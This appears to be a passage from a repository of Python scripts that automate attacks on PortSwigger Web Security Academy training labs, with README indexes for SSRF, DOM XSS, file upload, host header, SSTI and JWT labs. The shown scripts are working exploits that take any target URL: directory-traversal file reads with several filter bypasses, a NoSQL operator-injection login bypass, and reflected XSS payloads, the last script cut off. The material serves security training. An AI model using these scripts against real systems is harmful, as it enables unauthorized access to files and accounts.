13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab02.py)
14 |
15 | Lab: [Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system)
16 |
17 | Difficulty: APPRENTICE
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab03.py)
20 |
21 | Lab: [Blind SSRF with out-of-band detection](https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab04.py)
26 |
27 | Lab: [SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
28 |
29 | Difficulty: PRACTITIONER
30 |
31 |
32 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab05.py)
33 |
34 | Lab: [SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)
35 |
36 | Difficulty: PRACTITIONER
37 |
38 |
39 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab06.py)
40 |
41 | Lab: [Blind SSRF with Shellshock exploitation](https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation)
42 |
43 | Difficulty: EXPERT
44 |
45 | - Requires Burp Collaborator (BurpSuite Pro) NOT TESTED
46 |
47 |
48 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSRF/exploit-lab07.py)
49 |
50 | Lab: [SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter)
51 |
52 | Difficulty: EXPERT
--------------------------------------------------------------------------------
/DOMBasedXSS/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## DOM-Based XSS
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab01.py)
6 |
7 | Lab: [DOM XSS using web messages](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages)
8 |
9 | Difficulty: PRACTITIONER
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab02.py)
13 |
14 | Lab: [DOM XSS using web messages and a JavaScript URL](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-a-javascript-url)
15 |
16 | Difficulty: PRACTITIONER
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab03.py)
20 |
21 | Lab: [DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab04.py)
27 |
28 | Lab: [DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab05.py)
34 |
35 | Lab: [DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
36 |
37 | Difficulty: PRACTITIONER
38 |
39 |
40 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab06.py)
41 |
42 | Lab: [Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
43 |
44 | Difficulty: EXPERT
45 |
46 |
47 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/DOMBasedXSS/exploit-lab07.py)
48 |
49 | Lab: [Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
50 |
51 | Difficulty: EXPERT
52 |
53 |
--------------------------------------------------------------------------------
/FileUpload/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## File Upload
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab01.py)
6 |
7 | Lab: [Remote code execution via web shell upload](https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab02.py)
13 |
14 | Lab: [Web shell upload via Content-Type restriction bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab03.py)
20 |
21 | Lab: [Web shell upload via path traversal](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab04.py)
27 |
28 | Lab: [Web shell upload via extension blacklist bypass](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab05.py)
34 |
35 | Lab: [Web shell upload via obfuscated file extension](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension)
36 |
37 | Difficulty: PRACTITIONER
38 |
39 |
40 |
41 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab06.py)
42 |
43 | Lab: [Remote code execution via polyglot web shell upload](https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload)
44 |
45 | Difficulty: PRACTITIONER
46 |
47 |
48 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/FileUpload/exploit-lab07.py)
49 |
50 | Lab: [Web shell upload via race condition](https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition)
51 |
52 | Difficulty: EXPERT
53 |
54 |
55 |
--------------------------------------------------------------------------------
/HostHeader/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Host Header
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab01.py)
6 |
7 | Lab: [Basic password reset poisoning](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab02.py)
13 |
14 | Lab: [Host header authentication bypass](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-authentication-bypass)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab03.py)
20 |
21 | Lab: [Web cache poisoning via ambiguous requests](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-web-cache-poisoning-via-ambiguous-requests)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab04.py)
27 |
28 | Lab: [Routing-based SSRF](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab05.py)
34 |
35 | Lab: [SSRF via flawed request parsing](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-ssrf-via-flawed-request-parsing)
36 |
37 | Difficulty: PRACTITIONER
38 |
39 |
40 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab06.py)
41 |
42 | Lab: [Host validation bypass via connection state attack](https://portswigger.net/web-security/host-header/exploiting/lab-host-header-host-validation-bypass-via-connection-state-attack)
43 |
44 | Difficulty: PRACTITIONER
45 |
46 |
47 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/BusinessLogic/exploit-lab07.py)
48 |
49 | Lab: [Password reset poisoning via dangling markup](https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning/lab-host-header-password-reset-poisoning-via-dangling-markup)
50 |
51 | Difficulty: EXPERT
52 |
53 |
54 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab01.py:
--------------------------------------------------------------------------------
1 | # File path traversal, simple case
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-simple
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename=../../../..'
27 | print('[+] Trying to read %s on the target server...' % file)
28 | print('\n[+] Sending GET request to "%s"' % (file_path + file))
29 | r = s.get(file_path + file)
30 | print('[+] Server response:\n\n%s' % r.text)
31 |
32 |
33 | ##########################################################
34 | # MAIN
35 | ##########################################################
36 |
37 | def main():
38 | print('[+] Lab: File path traversal, simple case')
39 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, simple case")
40 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
41 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
42 | args = parser.parse_args()
43 | file = args.file
44 | parsed_url = urllib.parse.urlparse(args.url)
45 | host = parsed_url.netloc
46 | print(parsed_url)
47 | url = parsed_url.scheme + '://' + host
48 | s = requests.Session()
49 | s.proxies = proxies # Comment this line to disable proxying
50 | s.verify = False
51 | try:
52 | r = s.get(url, allow_redirects=False)
53 | time.sleep(1)
54 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
55 | print('\n[-] HOST seems to be down ')
56 | sys.exit(-1)
57 | else:
58 | print('[+] Trying send Directory Traversal attack ...\n')
59 | time.sleep(1)
60 | r = read_file(s, url, file)
61 | s.cookies.clear()
62 | time.sleep(2)
63 | r = s.get(url)
64 | if 'Congratulations, you solved the lab!' in r.text:
65 | print('[+] The lab is solved !')
66 | except requests.exceptions.ProxyError:
67 | print('[-] PROXY seems to be missconfigured ')
68 | except KeyboardInterrupt:
69 | sys.exit(0)
70 |
71 | if __name__ == "__main__":
72 | main()
73 |
--------------------------------------------------------------------------------
/NoSQL/exploit-lab02.py:
--------------------------------------------------------------------------------
1 | # Exploiting NoSQL operator injection to bypass authentication
2 |
3 | # https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import string
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def connect_as_admin(s, url):
27 | print('\n[+] Trying to log in as Administrator')
28 | login_path = url + '/login'
29 | login_data = {
30 | "username": {"$regex": "admin.*"},
31 | "password": {"$ne": ""}
32 | }
33 | print(f'JSON payload:\n\t{login_data}')
34 | r = s.post(login_path, json=login_data)
35 |
36 |
37 | ##########################################################
38 | # MAIN
39 | ##########################################################
40 |
41 | def main():
42 | print('[+] Lab: Exploiting NoSQL operator injection to bypass authentication')
43 | parser = argparse.ArgumentParser(description="[+] Lab: Exploiting NoSQL operator injection to bypass authentication")
44 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
45 | args = parser.parse_args()
46 | parsed_url = urllib.parse.urlparse(args.url)
47 | host = parsed_url.netloc
48 | print(parsed_url)
49 | url = parsed_url.scheme + '://' + host
50 | s = requests.Session()
51 | s.proxies = proxies # Comment this line to disable proxying
52 | s.verify = False
53 | try:
54 | r = s.get(url, allow_redirects=False)
55 | time.sleep(1)
56 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
57 | print('\n[-] HOST seems to be down ')
58 | sys.exit(-1)
59 | else:
60 | print("[+] Trying to bypass authentication...\n")
61 | time.sleep(1)
62 |
63 | connect_as_admin(s, url)
64 |
65 | s.cookies.clear()
66 | s.headers.clear()
67 | time.sleep(2)
68 | r = s.get(url)
69 | if 'Congratulations, you solved the lab!' in r.text:
70 | print('\n[+] The lab is solved !')
71 | except requests.exceptions.ProxyError:
72 | print('[-] PROXY seems to be missconfigured ')
73 | except KeyboardInterrupt:
74 | sys.exit(0)
75 |
76 | if __name__ == "__main__":
77 | main()
78 |
79 |
--------------------------------------------------------------------------------
/SSTI/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## SSTI
3 |
4 |
5 |
6 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab01.py)
7 |
8 | Lab: [Basic server-side template injection](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic)
9 |
10 | Difficulty: PRACTITIONER
11 |
12 |
13 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab02.py)
14 |
15 | Lab: [Basic server-side template injection (code context)](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context)
16 |
17 | Difficulty: PRACTITIONER
18 |
19 |
20 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab03.py)
21 |
22 | Lab: [Server-side template injection using documentation](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation)
23 |
24 | Difficulty: PRACTITIONER
25 |
26 |
27 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab04.py)
28 |
29 | Lab: [Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
30 |
31 | Difficulty: PRACTITIONER
32 |
33 |
34 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab05.py)
35 |
36 | Lab: [Server-side template injection with information disclosure via user-supplied objects](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects)
37 |
38 | Difficulty: PRACTITIONER
39 |
40 |
41 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab06.py)
42 |
43 | Lab: [Server-side template injection in a sandboxed environment](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment)
44 |
45 | Difficulty: EXPERT
46 |
47 |
48 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/SSTI/exploit-lab07.py)
49 |
50 | Lab: [Server-side template injection with a custom exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-a-custom-exploit)
51 |
52 | Difficulty: EXPERT
53 |
54 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab05.py:
--------------------------------------------------------------------------------
1 | # File path traversal, validation of start of path
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename=/var/www/images/../../../..'
27 | print('[+] Trying to read %s on the target server...' % file)
28 | print('\n[+] Sending GET request to "%s"' % (file_path + file))
29 | r = s.get(file_path + file)
30 | print('[+] Server response:\n\n%s' % r.text)
31 |
32 |
33 | ##########################################################
34 | # MAIN
35 | ##########################################################
36 |
37 | def main():
38 | print('[+] Lab: File path traversal, validation of start of path')
39 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, validation of start of path")
40 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
41 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
42 | args = parser.parse_args()
43 | file = args.file
44 | parsed_url = urllib.parse.urlparse(args.url)
45 | host = parsed_url.netloc
46 | print(parsed_url)
47 | url = parsed_url.scheme + '://' + host
48 | s = requests.Session()
49 | s.proxies = proxies # Comment this line to disable proxying
50 | s.verify = False
51 | try:
52 | r = s.get(url, allow_redirects=False)
53 | time.sleep(1)
54 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
55 | print('\n[-] HOST seems to be down ')
56 | sys.exit(-1)
57 | else:
58 | print('[+] Trying send Directory Traversal attack ...\n')
59 | time.sleep(1)
60 | r = read_file(s, url, file)
61 | s.cookies.clear()
62 | time.sleep(2)
63 | r = s.get(url)
64 | if 'Congratulations, you solved the lab!' in r.text:
65 | print('[+] The lab is solved !')
66 | except requests.exceptions.ProxyError:
67 | print('[-] PROXY seems to be missconfigured ')
68 | except KeyboardInterrupt:
69 | sys.exit(0)
70 |
71 | if __name__ == "__main__":
72 | main()
73 |
--------------------------------------------------------------------------------
/JWT/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## JWT
3 |
4 |
5 | ### [**Script 01**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab01.py)
6 |
7 | Lab: [JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
8 |
9 | Difficulty: APPRENTICE
10 |
11 |
12 | ### [**Script 02**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab02.py)
13 |
14 | Lab: [JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
15 |
16 | Difficulty: APPRENTICE
17 |
18 |
19 | ### [**Script 03**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab03.py)
20 |
21 | Lab: [JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
22 |
23 | Difficulty: PRACTITIONER
24 |
25 |
26 | ### [**Script 04**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab04.py)
27 |
28 | Lab: [JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
29 |
30 | Difficulty: PRACTITIONER
31 |
32 |
33 | ### [**Script 05**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab05.py)
34 |
35 | Lab: [JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
36 |
37 | Difficulty: PRACTITIONER
38 |
39 |
40 | ### [**Script 06**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab06.py)
41 |
42 | Lab: [JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
43 |
44 | Difficulty: PRACTITIONER
45 |
46 |
47 | ### [**Script 07**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab07.py)
48 |
49 | Lab: [JWT authentication bypass via algorithm confusion](https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion)
50 |
51 | Difficulty: EXPERT
52 |
53 |
54 | ### [**Script 08**](https://github.com/gwyomarch/WebSecurityAcademy/blob/main/JWT/exploit-lab08.py)
55 |
56 | Lab: [JWT authentication bypass via algorithm confusion with no exposed key](https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key)
57 |
58 | Difficulty: EXPERT
59 |
60 |
61 |
--------------------------------------------------------------------------------
/XSS/exploit-lab01.py:
--------------------------------------------------------------------------------
1 | # Reflected XSS into HTML context with nothing encoded
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def send_payload(s, url, payload):
26 | injection_uri = url + payload
27 | r = s.get(injection_uri)
28 | time.sleep(1)
29 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
30 | print('[+] Using payload:\t%s' % payload)
31 | return r
32 |
33 | def send_xss(s, url):
34 | search_path = url + '/?search='
35 | xss_payload = "
"
36 | r = send_payload(s, search_path, xss_payload)
37 |
38 |
39 | ##########################################################
40 | # MAIN
41 | ##########################################################
42 |
43 | def main():
44 | print('[+] Lab: Reflected XSS into HTML context with nothing encoded')
45 | parser = argparse.ArgumentParser(description="[+] Lab: Reflected XSS into HTML context with nothing encoded")
46 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
47 | args = parser.parse_args()
48 | parsed_url = urllib.parse.urlparse(args.url)
49 | host = parsed_url.netloc
50 | print(parsed_url)
51 | url = parsed_url.scheme + '://' + host
52 | s = requests.Session()
53 | s.proxies = proxies # Comment this line to disable proxying
54 | s.verify = False
55 | try:
56 | r = s.get(url, allow_redirects=False)
57 | time.sleep(1)
58 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
59 | print('\n[-] HOST seems to be down ')
60 | sys.exit(-1)
61 | else:
62 | print('[+] Trying send a cross-site scripting attack that calls the alert function...')
63 | send_xss(s, url)
64 | s.cookies.clear()
65 | s.headers.clear()
66 | time.sleep(3)
67 | r = s.get(url)
68 | if 'Congratulations, you solved the lab!' in r.text:
69 | print('\n[+] The lab is solved !')
70 | except requests.exceptions.ProxyError:
71 | print('[-] PROXY seems to be missconfigured ')
72 | except KeyboardInterrupt:
73 | sys.exit(0)
74 | if __name__ == "__main__":
75 | main()
76 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab03.py:
--------------------------------------------------------------------------------
1 | # File path traversal, traversal sequences stripped non-recursively
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename=....//....//..../'
27 | print('[+] Trying to read %s on the target server...' % file)
28 | print('\n[+] Sending GET request to "%s"' % (file_path + file))
29 | r = s.get(file_path + file)
30 | print('[+] Server response:\n\n%s' % r.text)
31 |
32 |
33 | ##########################################################
34 | # MAIN
35 | ##########################################################
36 |
37 | def main():
38 | print('[+] Lab: File path traversal, traversal sequences stripped non-recursively')
39 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, traversal sequences stripped non-recursively")
40 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
41 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
42 | args = parser.parse_args()
43 | file = args.file
44 | parsed_url = urllib.parse.urlparse(args.url)
45 | host = parsed_url.netloc
46 | print(parsed_url)
47 | url = parsed_url.scheme + '://' + host
48 | s = requests.Session()
49 | s.proxies = proxies # Comment this line to disable proxying
50 | s.verify = False
51 | try:
52 | r = s.get(url, allow_redirects=False)
53 | time.sleep(1)
54 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
55 | print('\n[-] HOST seems to be down ')
56 | sys.exit(-1)
57 | else:
58 | print('[+] Trying send Directory Traversal attack ...\n')
59 | time.sleep(1)
60 | r = read_file(s, url, file)
61 | s.cookies.clear()
62 | time.sleep(2)
63 | r = s.get(url)
64 | if 'Congratulations, you solved the lab!' in r.text:
65 | print('[+] The lab is solved !')
66 | except requests.exceptions.ProxyError:
67 | print('[-] PROXY seems to be missconfigured ')
68 | except KeyboardInterrupt:
69 | sys.exit(0)
70 |
71 | if __name__ == "__main__":
72 | main()
73 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab02.py:
--------------------------------------------------------------------------------
1 | # File path traversal, traversal sequences blocked with absolute path bypass
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename='
27 | file = urllib.parse.quote_plus(file)
28 | print('\n[+] Trying to read %s on the target server...' % file)
29 | print('\n[+] Sending GET request to "%s"' % (file_path + file))
30 | r = s.get(file_path + file)
31 | print('[+] Server response:\n\n%s' % r.text)
32 |
33 |
34 | ##########################################################
35 | # MAIN
36 | ##########################################################
37 |
38 | def main():
39 | print('[+] Lab: File path traversal, traversal sequences blocked with absolute path bypass')
40 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, traversal sequences blocked with absolute path bypass")
41 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
42 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
43 | args = parser.parse_args()
44 | file = args.file
45 | parsed_url = urllib.parse.urlparse(args.url)
46 | host = parsed_url.netloc
47 | print(parsed_url)
48 | url = parsed_url.scheme + '://' + host
49 | s = requests.Session()
50 | s.proxies = proxies # Comment this line to disable proxying
51 | s.verify = False
52 | try:
53 | r = s.get(url, allow_redirects=False)
54 | time.sleep(1)
55 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
56 | print('\n[-] HOST seems to be down ')
57 | sys.exit(-1)
58 | else:
59 | print('[+] Trying send Directory Traversal attack ...\n')
60 | time.sleep(1)
61 | r = read_file(s, url, file)
62 | s.cookies.clear()
63 | time.sleep(2)
64 | r = s.get(url)
65 | if 'Congratulations, you solved the lab!' in r.text:
66 | print('[+] The lab is solved !')
67 | except requests.exceptions.ProxyError:
68 | print('[-] PROXY seems to be missconfigured ')
69 | except KeyboardInterrupt:
70 | sys.exit(0)
71 |
72 | if __name__ == "__main__":
73 | main()
74 |
--------------------------------------------------------------------------------
/XSS/exploit-lab17.py:
--------------------------------------------------------------------------------
1 | # Reflected XSS in canonical link tag
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | from bs4 import BeautifulSoup
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def send_payload(s, url, payload):
27 | injection_uri = url + payload
28 | r = s.get(injection_uri)
29 | time.sleep(1)
30 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
31 | print('[+] Using payload:\t%s' % payload)
32 | return r
33 |
34 | def send_xss(s, url):
35 | search_path = url + '/?'
36 | xss_payload = """'accessKey='X'onclick='alert(1)"""
37 | r = send_payload(s, search_path, xss_payload.replace("'", "%27"))
38 | return r
39 |
40 |
41 | ##########################################################
42 | # MAIN
43 | ##########################################################
44 |
45 | def main():
46 | print('[+] Lab: Reflected XSS in canonical link tag')
47 | parser = argparse.ArgumentParser(description="[+] Lab: Reflected XSS in canonical link tag")
